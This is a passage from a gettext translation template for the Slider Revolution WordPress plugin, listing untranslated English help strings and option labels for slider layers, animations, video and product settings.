admin/includes/help.class.php:3128 admin/includes/help.class.php:3443 #: admin/includes/help.class.php:3792 admin/includes/help.class.php:4273 #: admin/includes/help.class.php:7114 admin/includes/help.class.php:7329 #: admin/includes/help.class.php:7409 msgid "Offset X" msgstr "" #: admin/includes/help.class.php:3144 admin/includes/help.class.php:3459 #: admin/includes/help.class.php:3808 admin/includes/help.class.php:4289 #: admin/includes/help.class.php:7127 admin/includes/help.class.php:7342 #: admin/includes/help.class.php:7422 msgid "Offset Y" msgstr "" #: admin/includes/help.class.php:1795 msgid "Only initialize the Slider when the Slider is inside the page's view" msgstr "" #: admin/includes/help.class.php:6244 msgid "Only Poster on Mobile" msgstr "" #: admin/includes/help.class.php:954 msgid "Only pull in products that are marked as 'Featured'" msgstr "" #: admin/includes/help.class.php:941 msgid "Only pull in products that are marked as 'In Stock'" msgstr "" #: admin/includes/help.class.php:6234 msgid "Only show a video preview image on desktop computers" msgstr "" #: admin/includes/help.class.php:6247 msgid "Only show a video preview image on mobile devices" msgstr "" #: admin/includes/help.class.php:10802 msgid "Only show the Layer when the user hovers their mouse over the Slider" msgstr "" #: admin/includes/help.class.php:1932 msgid "" "Only start the Slider when the JavaScript API's 'revstart()' method is called" msgstr "" #: admin/includes/help.class.php:7288 admin/includes/help.class.php:7721 #: admin/includes/help.class.php:8235 admin/includes/help.class.php:9772 msgid "Opacity" msgstr "" #: admin/includes/help.class.php:9527 msgid "Opacity End" msgstr "" #: admin/includes/help.class.php:9510 msgid "Opacity Start" msgstr "" #: admin/includes/help.class.php:27 msgid "Option" msgstr "" #: admin/includes/help.class.php:5479 msgid "" "Optional data-attributes that can be added to the Slide to target it with " "custom CSS or JavaScript" msgstr "" #: admin/includes/help.class.php:5209 admin/includes/help.class.php:6443 msgid "" "Optional iFrame arguments for YouTube and Vimeo" msgstr "" #: admin/includes/help.class.php:336 msgid "Optional maximum height for the Slider" msgstr "" #: admin/includes/help.class.php:320 msgid "Optional maximum width for the Slider" msgstr "" #: admin/includes/help.class.php:328 msgid "Optional minimum height for the Slider" msgstr "" #: admin/includes/help.class.php:5953 msgid "Optional placeholder attribute for the Layer's wrapper" msgstr "" #: admin/includes/help.class.php:5170 admin/includes/help.class.php:6400 msgid "Optional playback speed for the video" msgstr "" #: admin/includes/help.class.php:3163 msgid "" "Optionally animate the arrows into and out of view when the slider first " "loads and on mouse hover" msgstr "" #: admin/includes/help.class.php:3496 msgid "" "Optionally animate the bullets into and out of view when the slider first " "loads and on mouse hover" msgstr "" #: admin/includes/help.class.php:3977 msgid "" "Optionally animate the tabs into and out of view when the slider first loads " "and on mouse hover" msgstr "" #: admin/includes/help.class.php:4458 msgid "" "Optionally animate the thumbs into and out of view when the slider first " "loads and on mouse hover" msgstr "" #: admin/includes/help.class.php:28 admin/includes/help.class.php:30 msgid "Options" msgstr "" #: admin/includes/help.class.php:3395 admin/includes/help.class.php:3728 #: admin/includes/help.class.php:4209 msgid "Orientation" msgstr "" #: admin/includes/help.class.php:2899 msgid "Output Filter Protection" msgstr "" #: admin/includes/help.class.php:630 msgid "Overlay" msgstr "" #: admin/includes/help.class.php:3924 admin/includes/help.class.php:4405 msgid "Padding" msgstr "" #: admin/includes/help.class.php:2166 admin/includes/help.class.php:6925 msgid "Padding Bottom" msgstr "" #: admin/includes/help.class.php:6938 msgid "Padding Left" msgstr "" #: admin/includes/help.class.php:6912 msgid "Padding Right" msgstr "" #: admin/includes/help.class.php:2153 admin/includes/help.class.php:6899 msgid "Padding Top" msgstr "" #: admin/includes/help.class.php:1297 admin/includes/help.class.php:1478 msgid "Page URL" msgstr "" #: admin/includes/help.class.php:2577 msgid "Parallax Depths" msgstr "" #: admin/includes/help.class.php:2721 msgid "Parallax Layers" msgstr "" #: admin/includes/help.class.php:4892 admin/includes/help.class.php:5899 #: admin/includes/help.class.php:10112 msgid "Parallax Level" msgstr "" #: admin/includes/help.class.php:10125 msgid "Parallax Masking" msgstr "" #: admin/includes/help.class.php:2431 msgid "Parallax Origin" msgstr "" #: admin/includes/help.class.php:5811 msgid "Parameter Value" msgstr "" #: admin/includes/help.class.php:10389 msgid "Pause or Resume the Slider's progress on user-interaction" msgstr "" #: admin/includes/help.class.php:5361 msgid "Pause Slider" msgstr "" #: admin/includes/help.class.php:5364 msgid "Pause the Slider from changing Slides when this Slide is shown" msgstr "" #: admin/includes/help.class.php:1853 msgid "Pause the Slider's progress when the user hover's their mouse over it" msgstr "" #: admin/includes/help.class.php:10386 msgid "Pause/Play Slider" msgstr "" #: admin/includes/help.class.php:530 msgid "Phone Viewport" msgstr "" #: admin/includes/help.class.php:1035 msgid "Photoset" msgstr "" #: admin/includes/help.class.php:255 msgid "" "Place the shortcode on the page or post where you want to show this module" msgstr "" #: admin/includes/help.class.php:5950 msgid "Placeholder" msgstr "" #: admin/includes/help.class.php:10425 msgid "Play a Layer's animation on-demand to show or hide the Layer" msgstr "" #: admin/includes/help.class.php:10548 msgid "Play or pause Video or Audio on user-interaction" msgstr "" #: admin/includes/help.class.php:10545 msgid "Play/Pause Media" msgstr "" #: admin/includes/help.class.php:10406 msgid "Play/Pause the Slider on user-interaction" msgstr "" #: admin/includes/help.class.php:1434 msgid "Playlist" msgstr "" #: admin/includes/help.class.php:9693 msgid "Pointer Events" msgstr "" #: admin/includes/help.class.php:715 msgid "Populate the Slider from a Facebook album or timeline" msgstr "" #: admin/includes/help.class.php:706 msgid "Populate the Slider from a Twitter account" msgstr "" #: admin/includes/help.class.php:733 msgid "Populate the Slider with a Vimeo account's content" msgstr "" #: admin/includes/help.class.php:724 msgid "Populate the Slider with a YouTube Channel or Playlist" msgstr "" #: admin/includes/help.class.php:697 msgid "Populate the Slider with Instagram Images" msgstr "" #: admin/includes/help.class.php:688 msgid "Populate the Slider with your Flickr Content" msgstr "" #: admin/includes/help.class.php:679 msgid "Populate the Slider with your WooCommerce Products" msgstr "" #: admin/includes/help.class.php:670 msgid "Populate the Slider with your WordPress post content" msgstr "" #: admin/includes/help.class.php:7941 msgid "Position the mask horizontally. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:7958 msgid "Position the mask vertically. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:667 msgid "Post Based" msgstr "" #: admin/includes/help.class.php:786 msgid "Post Categories" msgstr "" #: admin/includes/help.class.php:741 msgid "Post Options Type" msgstr "" #: admin/includes/help.class.php:770 msgid "Post Types" msgstr "" #: admin/includes/help.class.php:6192 msgid "Poster from Stream" msgstr "" #: admin/includes/help.class.php:6205 msgid "Poster URL" msgstr "" #: admin/includes/help.class.php:6108 msgid "Preload" msgstr "" #: admin/includes/help.class.php:6124 msgid "Preload Delay" msgstr "" #: admin/includes/help.class.php:1826 msgid "Preset Slider Height" msgstr "" #: admin/includes/help.class.php:4638 msgid "Preview Image Height" msgstr "" #: admin/includes/help.class.php:4625 msgid "Preview Image Width" msgstr "" #: admin/includes/help.class.php:3015 msgid "Progress Bar Color" msgstr "" #: admin/includes/help.class.php:3047 msgid "Progress Bar Height" msgstr "" #: admin/includes/help.class.php:3031 msgid "Progress Bar Position" msgstr "" #: admin/includes/help.class.php:5437 msgid "Publish End Date" msgstr "" #: admin/includes/help.class.php:5425 msgid "Publish Start Date" msgstr "" #: admin/includes/help.class.php:5413 msgid "Published Status" msgstr "" #: admin/includes/help.class.php:902 msgid "Pull in products with a regular price equal to or below this number" msgstr "" #: admin/includes/help.class.php:928 msgid "Pull in products with a sale price equal to or below this number" msgstr "" #: admin/includes/help.class.php:889 msgid "Pull in products with this minimum price" msgstr "" #: admin/includes/help.class.php:915 msgid "Pull in products with this minimum sale price" msgstr "" #: admin/includes/help.class.php:2891 msgid "Put JS to Body" msgstr "" #: admin/includes/help.class.php:1916 msgid "Random Order" msgstr "" #: admin/includes/help.class.php:1919 msgid "Randomize the Slide order each time the Slider is viewed" msgstr "" #: admin/includes/help.class.php:1191 msgid "Re-Tweets" msgstr "" #: admin/includes/help.class.php:886 msgid "Reg. Price From" msgstr "" #: admin/includes/help.class.php:899 msgid "Reg. Price To" msgstr "" #: admin/includes/help.class.php:5389 msgid "Remove the Slide from the Slide stack after a set amount of loops" msgstr "" #: admin/includes/help.class.php:1204 msgid "Replies" msgstr "" #: admin/includes/help.class.php:5264 msgid "" "Represents a transition for the current Slide's main background when the " "Slides change" msgstr "" #: admin/includes/help.class.php:9073 msgid "" "Represents the curve's placement in the animation. Lower degrees will place " "the curve toward the beginning, and higher degrees toward the end." msgstr "" #: admin/includes/help.class.php:9127 msgid "Represents the ending 'x' (left) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9163 msgid "Represents the ending 'y' (top) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9199 msgid "Represents the ending 'z' (3D depth) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9109 msgid "Represents the starting 'x' (left) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9145 msgid "Represents the starting 'y' (top) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9181 msgid "Represents the starting 'z' (3D depth) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9667 msgid "Reset all hover styles to the Layer's default idle/static styles" msgstr "" #: admin/includes/help.class.php:10680 msgid "Reset from Desktop" msgstr "" #: admin/includes/help.class.php:9664 msgid "Reset Styles" msgstr "" #: admin/includes/help.class.php:10683 msgid "" "Reset the size/position of all Layers to their desktop values for each " "viewport inside the editor" msgstr "" #: admin/includes/help.class.php:10693 msgid "Resize Between Devices" msgstr "" #: admin/includes/help.class.php:349 msgid "Respect Aspect Ratio" msgstr "" #: admin/includes/help.class.php:84 msgid "Responsive alignment and positioning" msgstr "" #: admin/includes/help.class.php:1614 msgid "Responsive Between Devices" msgstr "" #: admin/includes/help.class.php:1630 admin/includes/help.class.php:10719 msgid "Responsive Children" msgstr "" #: admin/includes/help.class.php:65 msgid "Responsive Grid Sizes" msgstr "" #: admin/includes/help.class.php:1622 admin/includes/help.class.php:10706 msgid "Responsive Offsets" msgstr "" #: admin/includes/help.class.php:97 msgid "Responsive Text/Images" msgstr "" #: admin/includes/help.class.php:5092 msgid "Restart the video every time it ends" msgstr "" #: admin/includes/help.class.php:6167 msgid "Restart the video/audio every time it ends" msgstr "" #: admin/includes/help.class.php:4774 msgid "Reverse Scroll" msgstr "" #: admin/includes/help.class.php:9496 msgid "" "Reverse the animated filters as soon as the animation ends and vice versa" msgstr "" #: admin/includes/help.class.php:8917 msgid "Reverse the position as soon as the animation ends and vice versa" msgstr "" #: admin/includes/help.class.php:9375 msgid "Reverse the rotation as soon as the animation ends and vice versa" msgstr "" #: admin/includes/help.class.php:9220 msgid "Reverse the scaling as soon as the animation ends and vice versa" msgstr "" #: admin/includes/help.class.php:5128 admin/includes/help.class.php:6298 msgid "Rewind at Start" msgstr "" #: admin/includes/help.class.php:7584 msgid "Right Corner" msgstr "" #: admin/includes/help.class.php:7553 msgid "Right Spike Width" msgstr "" #: admin/includes/help.class.php:3178 admin/includes/help.class.php:3477 #: admin/includes/help.class.php:3958 admin/includes/help.class.php:4439 msgid "Right to Left" msgstr "" #: admin/includes/help.class.php:1753 admin/includes/help.class.php:5728 msgid "Rotate End" msgstr "" #: admin/includes/help.class.php:1742 admin/includes/help.class.php:5712 msgid "Rotate Start" msgstr "" #: admin/includes/help.class.php:7844 admin/includes/help.class.php:8379 msgid "" "Rotate the Layer on its 'x' axis by this amount for the selected animation " "frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9841 msgid "" "Rotate the Layer on its 'x' axis by this amount on mouse hover. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:7857 admin/includes/help.class.php:8396 msgid "" "Rotate the Layer on its 'y' axis by this amount for the selected animation " "frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9854 msgid "" "Rotate the Layer on its 'y' axis by this amount on mouse hover. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:7841 admin/includes/help.class.php:8376 #: admin/includes/help.class.php:9838 msgid "rotateX" msgstr "" #: admin/includes/help.class.php:7854 admin/includes/help.class.php:8393 #: admin/includes/help.class.php:9851 msgid "rotateY" msgstr "" #: admin/includes/help.class.php:5321 msgid "Rotation" msgstr "" #: admin/includes/help.class.php:2279 msgid "Rotation Degrees" msgstr "" #: admin/includes/help.class.php:7249 msgid "Rotation X" msgstr "" #: admin/includes/help.class.php:7262 msgid "Rotation Y" msgstr "" #: admin/includes/help.class.php:7275 msgid "Rotation Z" msgstr "" #: admin/includes/help.class.php:6484 msgid "Row Position" msgstr "" #: admin/includes/help.class.php:912 msgid "Sale Price From" msgstr "" #: admin/includes/help.class.php:925 msgid "Sale Price To" msgstr "" #: admin/includes/help.class.php:2325 msgid "Scale Percentage" msgstr "" #: admin/includes/help.class.php:8326 msgid "" "Scale the char/word/line height by this amount for the selected animation " "frame" msgstr "" #: admin/includes/help.class.php:8309 msgid "" "Scale the char/word/line width by this amount for the selected animation " "frame" msgstr "" #: admin/includes/help.class.php:7805 msgid "" "Scale the Layer's height by this amount for the selected animation frame" msgstr "" #: admin/includes/help.class.php:9802 msgid "Scale the Layer's height by this amount on mouse hover" msgstr "" #: admin/includes/help.class.php:7792 msgid "Scale the Layer's width by this amount for the selected animation frame" msgstr "" #: admin/includes/help.class.php:9789 msgid "Scale the Layer's width by this amount on mouse hover" msgstr "" #: admin/includes/help.class.php:7789 admin/includes/help.class.php:8306 #: admin/includes/help.class.php:9786 msgid "scaleX" msgstr "" #: admin/includes/help.class.php:7802 admin/includes/help.class.php:8323 #: admin/includes/help.class.php:9799 msgid "scaleY" msgstr "" #: admin/includes/help.class.php:2775 msgid "Scroll Direction" msgstr "" #: admin/includes/help.class.php:10332 msgid "Scroll Duration" msgstr "" #: admin/includes/help.class.php:10315 msgid "Scroll Easing" msgstr "" #: admin/includes/help.class.php:2643 msgid "Scroll Effects" msgstr "" #: admin/includes/help.class.php:10298 msgid "Scroll Offset" msgstr "" #: admin/includes/help.class.php:870 msgid "Se a character limit if the post's excerpt is included in the Slide" msgstr "" #: admin/includes/help.class.php:16 msgid "Search for an Option" msgstr "" #: admin/includes/help.class.php:31 msgid "Search Keywords, e.g. \"Background\"" msgstr "" #: admin/includes/help.class.php:1038 msgid "Select the photo album you wish to include from the Flickr account" msgstr "" #: admin/includes/help.class.php:6781 msgid "Set a background color for the Layer" msgstr "" #: admin/includes/help.class.php:6794 msgid "Set a background image for the Layer" msgstr "" #: admin/includes/help.class.php:623 msgid "Set a global background color for the Slider" msgstr "" #: admin/includes/help.class.php:562 msgid "Set a global background image for the Slider" msgstr "" #: admin/includes/help.class.php:144 msgid "Set a Layer's Main background to a color, image or video" msgstr "" #: admin/includes/help.class.php:5226 msgid "Set a special thumbnail for editor admin purposes only" msgstr "" #: admin/includes/help.class.php:5428 msgid "" "Set a starting date for when the Slide should officially be included in the " "Slider" msgstr "" #: admin/includes/help.class.php:5440 msgid "" "Set an end date for when the Slide should officially be excluded from the " "Slider" msgstr "" #: admin/includes/help.class.php:7652 msgid "Set as Editor View" msgstr "" #: admin/includes/help.class.php:5157 msgid "Set the default volume for the video" msgstr "" #: admin/includes/help.class.php:136 msgid "Set the Module's Main background to a color, image or video" msgstr "" #: admin/includes/help.class.php:7655 msgid "" "Set the selected animation point as the default view when editing your " "content" msgstr "" #: admin/includes/help.class.php:128 admin/includes/help.class.php:4795 #: admin/includes/help.class.php:4803 msgid "Set the Slide's Main background to a color, image or video" msgstr "" #: admin/includes/help.class.php:239 msgid "Set the title of the Slider for admin/editing purposes" msgstr "" #: admin/includes/help.class.php:141 msgid "Set/Change Layer Background" msgstr "" #: admin/includes/help.class.php:133 msgid "Set/Change Module Background" msgstr "" #: admin/includes/help.class.php:125 msgid "Set/Change Slide Background" msgstr "" #: admin/includes/help.class.php:5994 msgid "Set/change the image for the Layer" msgstr "" #: admin/includes/help.class.php:6208 msgid "Set/remove the video's preview image for the video" msgstr "" #: admin/includes/help.class.php:22 msgid "Settings" msgstr "" #: admin/includes/help.class.php:638 msgid "Shadow" msgstr "" #: admin/includes/help.class.php:7381 admin/includes/help.class.php:7448 msgid "Shadow Color" msgstr "" #: admin/includes/help.class.php:2865 msgid "Show a simple image instead of the Slider on mobile, IE8 or both" msgstr "" #: admin/includes/help.class.php:1987 msgid "Show a specific Slide first when the Slider first loads" msgstr "" #: admin/includes/help.class.php:7476 msgid "Show in Editor Preview" msgstr "" #: admin/includes/help.class.php:10799 msgid "Show on Mouse Over" msgstr "" #: admin/includes/help.class.php:26 msgid "Show Option" msgstr "" #: admin/includes/help.class.php:10737 msgid "Show or hide the Layer for the desktop viewport" msgstr "" #: admin/includes/help.class.php:10750 msgid "Show or hide the Layer for the laptop viewport" msgstr "" #: admin/includes/help.class.php:10776 msgid "Show or hide the Layer for the phone viewport" msgstr "" #: admin/includes/help.class.php:10763 msgid "Show or hide the Layer for the tablet viewport" msgstr "" #: admin/includes/help.class.php:6218 msgid "Show Poster on Video Pause" msgstr "" #: admin/includes/help.class.php:1995 msgid "Show slide number 'x' first when the Slider first loads" msgstr "" #: admin/includes/help.class.php:7479 msgid "" "Show the blend-mode both live in the Slider and also in the admin editing " "stage" msgstr "" #: admin/includes/help.class.php:5377 msgid "" "Show the Slide in the Slider's main navigation, or make the Slide 'hidden' " "so it can only be shown from a Layer Action click" msgstr "" #: admin/includes/help.class.php:6221 msgid "" "Show the video's preview image whenever the video is paused by the user or " "on a Slide change" msgstr "" #: admin/includes/help.class.php:10734 msgid "Show/Hide on Desktop" msgstr "" #: admin/includes/help.class.php:10747 msgid "Show/Hide on Laptop" msgstr "" #: admin/includes/help.class.php:10773 msgid "Show/Hide on Phone" msgstr "" #: admin/includes/help.class.php:10760 msgid "Show/Hide on Tablet" msgstr "" #: admin/includes/help.class.php:2856 msgid "Simplify Animations for better compatibility with IOS4/IE8" msgstr "" #: admin/includes/help.class.php:2853 msgid "Simplify on IOS4/IE8" msgstr "" #: admin/includes/help.class.php:10456 msgid "Simulate Click" msgstr "" #: admin/includes/help.class.php:7166 msgid "Size Presets" msgstr "" #: admin/includes/help.class.php:294 msgid "Size will adapt to the same size as the web page's content" msgstr "" #: admin/includes/help.class.php:7818 admin/includes/help.class.php:8343 msgid "" "Skew/distort the Layer horizontally by this amount for the selected " "animation frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9815 msgid "" "Skew/distort the Layer horizontally by this amount on mouse hover. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:7831 admin/includes/help.class.php:8360 msgid "" "Skew/distort the Layer vertically by this amount for the selected animation " "frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9828 msgid "" "Skew/distort the Layer vertically by this amount on mouse hover. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:7815 admin/includes/help.class.php:8340 #: admin/includes/help.class.php:9812 msgid "skewX" msgstr "" #: admin/includes/help.class.php:7828 admin/includes/help.class.php:8357 #: admin/includes/help.class.php:9825 msgid "skewY" msgstr "" #: admin/includes/help.class.php:6127 msgid "Skip the preloading of HTML5 Audio by a set amount of seconds" msgstr "" #: admin/includes/help.class.php:20 msgid "Slide" msgstr "" #: admin/includes/help.class.php:175 msgid "Slide Animations" msgstr "" #: admin/includes/help.class.php:2734 msgid "Slide Background" msgstr "" #: admin/includes/help.class.php:4800 msgid "Slide Background Color" msgstr "" #: admin/includes/help.class.php:2512 msgid "Slide BG Overflow Hidden" msgstr "" #: admin/includes/help.class.php:5452 msgid "Slide Classes" msgstr "" #: admin/includes/help.class.php:5814 msgid "Slide data that can be used for navigation text/data" msgstr "" #: admin/includes/help.class.php:1531 msgid "Slide Duration" msgstr "" #: admin/includes/help.class.php:5464 msgid "Slide ID" msgstr "" #: admin/includes/help.class.php:5884 msgid "Slide Loop End" msgstr "" #: admin/includes/help.class.php:5858 msgid "Slide Loop Repeat" msgstr "" #: admin/includes/help.class.php:5871 msgid "Slide Loop Start" msgstr "" #: admin/includes/help.class.php:5850 msgid "Slide Looping" msgstr "" #: admin/includes/help.class.php:5349 msgid "Slide Time/Length" msgstr "" #: admin/includes/help.class.php:1992 msgid "Slide to Show First" msgstr "" #: admin/includes/help.class.php:5261 msgid "Slide Transition" msgstr "" #: admin/includes/help.class.php:18 msgid "Slider" msgstr "" #: admin/includes/help.class.php:244 msgid "Slider Alias" msgstr "" #: admin/includes/help.class.php:383 msgid "Slider Alignment" msgstr "" #: admin/includes/help.class.php:2933 msgid "Slider API" msgstr "" #: admin/includes/help.class.php:1515 msgid "Slider Classes" msgstr "" #: admin/includes/help.class.php:1507 msgid "Slider ID" msgstr "" #: admin/includes/help.class.php:2936 msgid "Slider Revolution API methods and events" msgstr "" #: admin/includes/help.class.php:252 msgid "Slider Shortcode" msgstr "" #: admin/includes/help.class.php:236 msgid "Slider Title" msgstr "" #: admin/includes/help.class.php:2117 msgid "" "Slides will always appear as full width, resulting in one Slide being " "visible at a time" msgstr "" #: admin/includes/help.class.php:2078 msgid "Slides will continuously appear from either side when the Slides change" msgstr "" #: admin/includes/help.class.php:2040 msgid "Slot Amount" msgstr "" #: admin/includes/help.class.php:5309 msgid "Slots/Boxes" msgstr "" #: admin/includes/help.class.php:835 msgid "Sort Direction" msgstr "" #: admin/includes/help.class.php:819 msgid "Sort Posts By" msgstr "" #: admin/includes/help.class.php:838 msgid "Sort the posts in ascending or descending order" msgstr "" #: admin/includes/help.class.php:1311 admin/includes/help.class.php:1421 msgid "Source" msgstr "" #: admin/includes/help.class.php:4840 msgid "Source Size" msgstr "" #: admin/includes/help.class.php:3842 admin/includes/help.class.php:4323 msgid "Spacing" msgstr "" #: admin/includes/help.class.php:3940 admin/includes/help.class.php:4421 msgid "Span/Full-Width" msgstr "" #: admin/includes/help.class.php:8705 msgid "Special Effects" msgstr "" #: admin/includes/help.class.php:802 msgid "Specific Posts" msgstr "" #: admin/includes/help.class.php:2220 msgid "Speed" msgstr "" #: admin/includes/help.class.php:2361 msgid "Spinner / Preloader" msgstr "" #: admin/includes/help.class.php:2369 msgid "Spinner Color" msgstr "" #: admin/includes/help.class.php:8201 msgid "Split Delay" msgstr "" #: admin/includes/help.class.php:8184 msgid "Split Direction" msgstr "" #: admin/includes/help.class.php:7368 msgid "Spread" msgstr "" #: admin/includes/help.class.php:264 msgid "Standard Slider" msgstr "" #: admin/includes/help.class.php:10422 msgid "Start Layer In/Out Animation" msgstr "" #: admin/includes/help.class.php:1696 admin/includes/help.class.php:5646 msgid "Start Position X" msgstr "" #: admin/includes/help.class.php:1718 admin/includes/help.class.php:5678 msgid "Start Position Y" msgstr "" #: admin/includes/help.class.php:9457 msgid "Start rotate2D" msgstr "" #: admin/includes/help.class.php:9389 msgid "Start rotateX" msgstr "" #: admin/includes/help.class.php:9423 msgid "Start rotateY" msgstr "" #: admin/includes/help.class.php:9234 msgid "Start scaleX" msgstr "" #: admin/includes/help.class.php:9268 msgid "Start scaleY" msgstr "" #: admin/includes/help.class.php:9302 msgid "Start skewX" msgstr "" #: admin/includes/help.class.php:9336 msgid "Start skewY" msgstr "" #: admin/includes/help.class.php:5183 admin/includes/help.class.php:6416 msgid "Start the video at this time (minutes:seconds, such as 01:30)" msgstr "" #: admin/includes/help.class.php:5180 admin/includes/help.class.php:6413 #: admin/includes/help.class.php:8815 msgid "Start Time" msgstr "" #: admin/includes/help.class.php:8931 msgid "Start X Position" msgstr "" #: admin/includes/help.class.php:8965 msgid "Start Y Position" msgstr "" #: admin/includes/help.class.php:8999 msgid "Start Z Position" msgstr "" #: admin/includes/help.class.php:186 msgid "Start/End animation timing and easing" msgstr "" #: admin/includes/help.class.php:7600 msgid "Start/In Animation: From" msgstr "" #: admin/includes/help.class.php:7613 msgid "Start/In Animation: To" msgstr "" #: admin/includes/help.class.php:2747 msgid "Static/Global Layers" msgstr "" #: admin/includes/help.class.php:2760 msgid "Static/Global Parallax Layers" msgstr "" #: admin/includes/help.class.php:1890 msgid "Stop After Loops" msgstr "" #: admin/includes/help.class.php:1903 msgid "Stop at Slide" msgstr "" #: admin/includes/help.class.php:1850 msgid "Stop on Hover" msgstr "" #: admin/includes/help.class.php:6259 msgid "Stop Other Media" msgstr "" #: admin/includes/help.class.php:1877 msgid "Stop Slider Progress" msgstr "" #: admin/includes/help.class.php:1893 msgid "Stop the slider's progress after a set amount of loops" msgstr "" #: admin/includes/help.class.php:1906 msgid "Stop the slider's progress when a certain Slide is viewed" msgstr "" #: admin/includes/help.class.php:6262 msgid "" "Stop/pause other video/audio in the Slide when the currently selected Video " "Layer begins to play" msgstr "" #: admin/includes/help.class.php:2114 msgid "Stretch Slides" msgstr "" #: admin/includes/help.class.php:6724 msgid "Stroke/Border Color" msgstr "" #: admin/includes/help.class.php:6737 msgid "Stroke/Border Width/Size" msgstr "" #: admin/includes/help.class.php:15 msgid "Support Center" msgstr "" #: admin/includes/help.class.php:6711 msgid "SVG Color" msgstr "" #: admin/includes/help.class.php:4718 msgid "Swipe Orientation" msgstr "" #: admin/includes/help.class.php:4692 msgid "Swipe Velocity" msgstr "" #: admin/includes/help.class.php:10867 msgid "Tab Index" msgstr "" #: admin/includes/help.class.php:520 admin/includes/help.class.php:546 msgid "Tablet Height" msgstr "" #: admin/includes/help.class.php:504 msgid "Tablet Viewport" msgstr "" #: admin/includes/help.class.php:512 admin/includes/help.class.php:538 msgid "Tablet Width" msgstr "" #: admin/includes/help.class.php:3974 msgid "Tabs Animation" msgstr "" #: admin/includes/help.class.php:3990 msgid "Tabs Animation Speed" msgstr "" #: admin/includes/help.class.php:4006 msgid "Tabs Show Delay" msgstr "" #: admin/includes/help.class.php:3711 msgid "Tabs Type/Style" msgstr "" #: admin/includes/help.class.php:10618 msgid "Take the Slider fullscreen or exit fullscreen on user-interaction" msgstr "" #: admin/includes/help.class.php:10491 msgid "Target Layer" msgstr "" #: admin/includes/help.class.php:6644 msgid "Text Color" msgstr "" #: admin/includes/help.class.php:8120 msgid "Text Color Value" msgstr "" #: admin/includes/help.class.php:6670 msgid "Text Decoration" msgstr "" #: admin/includes/help.class.php:6683 msgid "Text Transform" msgstr "" #: admin/includes/help.class.php:1178 msgid "Text Tweets" msgstr "" #: admin/includes/help.class.php:8934 msgid "" "The 'x' (left) position to apply at the start of the loop animation. " "Accepts positive and negative numbers." msgstr "" #: admin/includes/help.class.php:7738 admin/includes/help.class.php:8256 msgid "" "The 'x' (left) position to apply to the currently selected animation frame. " "Accepts positive and negative numbers." msgstr "" #: admin/includes/help.class.php:8432 msgid "" "The 'x' axis for the char/word/line transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:8867 msgid "" "The 'x' axis for the Layer's transform-origin" " applied to the loop animation." msgstr "" #: admin/includes/help.class.php:7885 msgid "" "The 'x' axis for the Layer's transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:9882 msgid "" "The 'x' axis for the Layer's transform-origin" " on mouse hover." msgstr "" #: admin/includes/help.class.php:8968 msgid "" "The 'y' (top) position to apply at the start of the loop animation. Accepts " "positive and negative numbers." msgstr "" #: admin/includes/help.class.php:7751 admin/includes/help.class.php:8273 msgid "" "The 'y' (top) position to apply to the currently selected animation frame. " "Accepts positive and negative numbers." msgstr "" #: admin/includes/help.class.php:8449 msgid "" "The 'y' axis for the char/word/line transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:8883 msgid "" "The 'y' axis for the Layer's transform-origin" " applied to the loop animation." msgstr "" #: admin/includes/help.class.php:7898 msgid "" "The 'y' axis for the Layer's transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:9895 msgid "" "The 'y' axis for the Layer's transform-origin" " on mouse hover." msgstr "" #: admin/includes/help.class.php:8466 msgid "" "The 'z' axis for the char/word/line transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:8899 msgid "" "The 'z' axis for the Layer's transform-origin" " applied to the loop animation." msgstr "" #: admin/includes/help.class.php:7911 msgid "" "The 'z' axis for the Layer's transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:9908 msgid "" "The 'z' axis for the Layer's transform-origin" " on mouse hover." msgstr "" #: admin/includes/help.class.php:2563 msgid "The 3D depth level for the Slide's main background" msgstr "" #: admin/includes/help.class.php:5902 msgid "" "The parallax level to apply to the Slide's " "main background" msgstr "" #: admin/includes/help.class.php:6544 msgid "" "The CSS clear property for the Layer as it fits inside the " "Column" msgstr "" #: admin/includes/help.class.php:9683 msgid "" "The CSS cursor property for the Layer. Choose 'pointer' for " "a traditional hand cursor when hovering the Layer" msgstr "" #: admin/includes/help.class.php:6530 msgid "" "The CSS display property for the Layer as it fits inside the " "Column" msgstr "" #: admin/includes/help.class.php:8503 msgid "" "The blur filter value for the Chars animation" msgstr "" #: admin/includes/help.class.php:10073 msgid "" "The blur filter value for the Layer on mouse " "hover" msgstr "" #: admin/includes/help.class.php:8651 msgid "" "The blur filter value for the lines animation" msgstr "" #: admin/includes/help.class.php:8056 msgid "" "The blur filter value for the selected " "Animation frame" msgstr "" #: admin/includes/help.class.php:8577 msgid "" "The blur filter value for the words animation" msgstr "" #: admin/includes/help.class.php:8539 msgid "" "The brightness filter value for the " "Chars animation" msgstr "" #: admin/includes/help.class.php:10086 msgid "" "The brightness filter value for the " "Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:8687 msgid "" "The brightness filter value for the " "lines animation" msgstr "" #: admin/includes/help.class.php:8090 msgid "" "The brightness filter value for the " "selected Animation frame" msgstr "" #: admin/includes/help.class.php:8613 msgid "" "The brightness filter value for the " "words animation" msgstr "" #: admin/includes/help.class.php:8521 msgid "" "The grayscale filter value for the Chars " "animation" msgstr "" #: admin/includes/help.class.php:10099 msgid "" "The grayscale filter value for the Layer " 